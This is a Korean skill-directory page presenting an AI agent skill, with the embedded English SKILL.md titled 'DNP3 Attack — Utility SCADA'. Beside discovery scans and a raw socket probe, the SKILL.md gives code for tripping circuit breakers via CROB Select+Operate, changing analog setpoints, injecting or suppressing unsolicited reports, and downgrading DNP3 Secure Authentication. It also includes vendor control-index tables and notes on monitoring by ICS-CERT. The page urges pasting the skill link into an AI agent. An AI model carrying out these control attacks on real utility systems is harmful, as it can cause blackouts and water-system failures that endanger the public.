본문으로 건너뛰기
Skillpedia
보안6.5k · #14036

ics-dnp3

하는 일

이 안내서는 전력과 수도 설비에서 흔한 프로토콜 DNP3의 보안 점검을 다룹니다. 제어 명령이 전력망에 영향을 줄 수 있으므로, 서면 승인을 받은 공기업 보안 팀을 위한 가이드입니다.

사용하는 경우

  • ✓허가된 공기업 검토에서 네트워크의 DNP3 아웃스테이션을 찾아야 할 때.
  • ✓제어 명령을 전혀 보내지 않고 장비 상태를 읽고 싶을 때.
  • ✓공기업이 원격 단말 장치를 보호하는 방법을 계획하는 경우.

스킬 링크

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/dnp3/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/dnp3/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“우리는 지역 공기업입니다. 제어 명령을 보내지 않고 DNP3 장비를 읽기 전용으로 점검하는 계획을 세우는 것을 도와주시겠어요?”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

에이전트는 DNP3 장비를 찾고, 상태와 이벤트 데이터를 읽으며, 제어 명령을 보내지 않고 노출된 내용을 기록합니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

DNP3 Attack — Utility SCADA

DNP3 is the dominant protocol in North American electric utilities (substations, RTUs) and water/wastewater. TCP/20000.

Discover

# nmap
nmap -p 20000 --script=dnp3-info 10.0.0.0/24

# Or pyOPENDNP3 / pydnp3 / dnp3-toolkit
# Quick test:
python3 -c '
import socket, struct
# DNP3 link layer Start (0x05 0x64), Length, Control, Dest, Src
pkt = b"\x05\x64\x05\xc0\x00\x00\x01\x00\xa5\xa1"
s = socket.socket(); s.connect(("10.0.0.50", 20000)); s.send(pkt)
print(s.recv(256).hex())
'

Read attacks (passive — generally safe)

# pydnp3 (or opendnp3 Python binding) — read class 0, 1, 2, 3 data
import opendnp3
# ... master init + asyncrun ...
# Class 0 = static (current value of every point)
# Class 1/2/3 = events (changes)
master.ScanClasses([0, 1, 2, 3])
# Output: a dump of every binary/analog/counter/control point's state.

Control attacks (potentially HIGH IMPACT)

Control Relay Output Block (CROB) — trip / close a breaker

# Group 12 Var 1 CROB — operation field controls action
# trip = 0x81, close = 0x41, pulse on = 0x01
import opendnp3
crob = opendnp3.ControlRelayOutputBlock(opendnp3.ControlCode.LATCH_ON)
res = master.SelectAndOperate(crob, 5)   # select+operate on index 5
# Index 5 might be "circuit breaker 5 trip" — opens the breaker.

This is the single most dangerous DNP3 primitive: a successful Select+Operate on the right index can trip transmission breakers, open dam gates, shut off pumps.

Analog Output Block (AOB) — setpoint

aob = opendnp3.AnalogOutputInt16(value=100)
master.SelectAndOperate(aob, 3)
# index 3 might be voltage setpoint, water level, etc.

Unsolicited reporting abuse

DNP3 supports outstation-initiated reports. An attacker positioned between master and outstation can:

  • Inject fake unsolicited reports (false alarms) — operator response cascade
  • Suppress real reports — operator blind during a real fault
  • Reply with stale data via timestamp tampering (Group 50 Var 1)

DNP3 Secure Authentication (DNP3-SA) downgrade

DNP3-SA adds HMAC-based message authentication. Many implementations support both authenticated and unauthenticated modes for backward compatibility:

# Send unauthenticated control with a "session key change" request
# If outstation accepts ANY pre-shared key, the implementation is broken.
# Check via opendnp3.SecureAuthentication examples.

Many older RTUs don't support DNP3-SA at all — full unauthenticated control plane.

Tooling

# dnp3-toolkit (pen-test focused)
pip install dnp3-toolkit
dnp3-scan 10.0.0.0/24
dnp3-info 10.0.0.50

# Free Modbus / DNP3 simulator (for testing PoCs offline before live engagement)
opendnp3 examples — github.com/dnp3/opendnp3

OPSEC + safety

  • Critical safety: DNP3 controls the bulk electric power system (in North America). Trip operations cause real outages. SelectAndOperate on a transmission breaker can blackout neighborhoods. Require written scope authorization for any control-class action.
  • ICS-CERT and EISAC actively monitor for unusual DNP3 traffic. Master-station IP changes are detected.
  • DNP3 over modem (serial) is common in older substations — your network position must be at the SCADA master, not internet.

Reference indices for common deployments

Vendor RTU Common control indices
GE D20 Breaker trip = 0-9, recloser = 10-19
SEL-2440 Per-feeder breaker = 16-23
Schweitzer RTAC Indices vary heavily by configuration

Always confirm point map (POINT.CSV or DNP3 device profile) before any write.

References

  • IEEE 1815 (DNP3 standard) and "DNP3 Application Layer" specification
  • "Hacking the Electric Grid" — Daniel Crowley (Trustwave / X-Force Red)
  • DEFCON 27 ICS Village "DNP3 Authentication Bypass"
  • NERC CIP-007/CIP-005 (defender baseline — useful to understand what's audited)
자주 묻는 질문

제어 명령이 왜 위험한가요?

제어 명령은 물리 장비를 바꿀 수 있어 명시적인 서면 승인이 필요하다고 안내서는 설명합니다.

읽기 전용 테스트는 무엇을 보여 주나요?

장비의 현재 지점과 이벤트를 보여 주어, 노출 정도를 평가하는 데 도움이 된다고 설명합니다.

어떤 분야에서 DNP3를 쓰나요?

안내서에 따르면 전력 공기업과 상하수도 시스템입니다.

상세 정보

작성자의 원본 설명

DNP3 attack — TCP/20000 (or 19999 serial-over-TCP) outstation enumeration, binary input / analog input poll, control relay output block (CROB) actuation, unsolicited reporting abuse, DNP3 Secure Authentication (DNP3-SA) downgrade, vendor-specific objects.

repo: BitterSecurity/Decepticon

인기도

GitHub 스타
6.5k
순위
#14036
라이선스
Apache-2.0
업데이트
2026. 11. 1.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬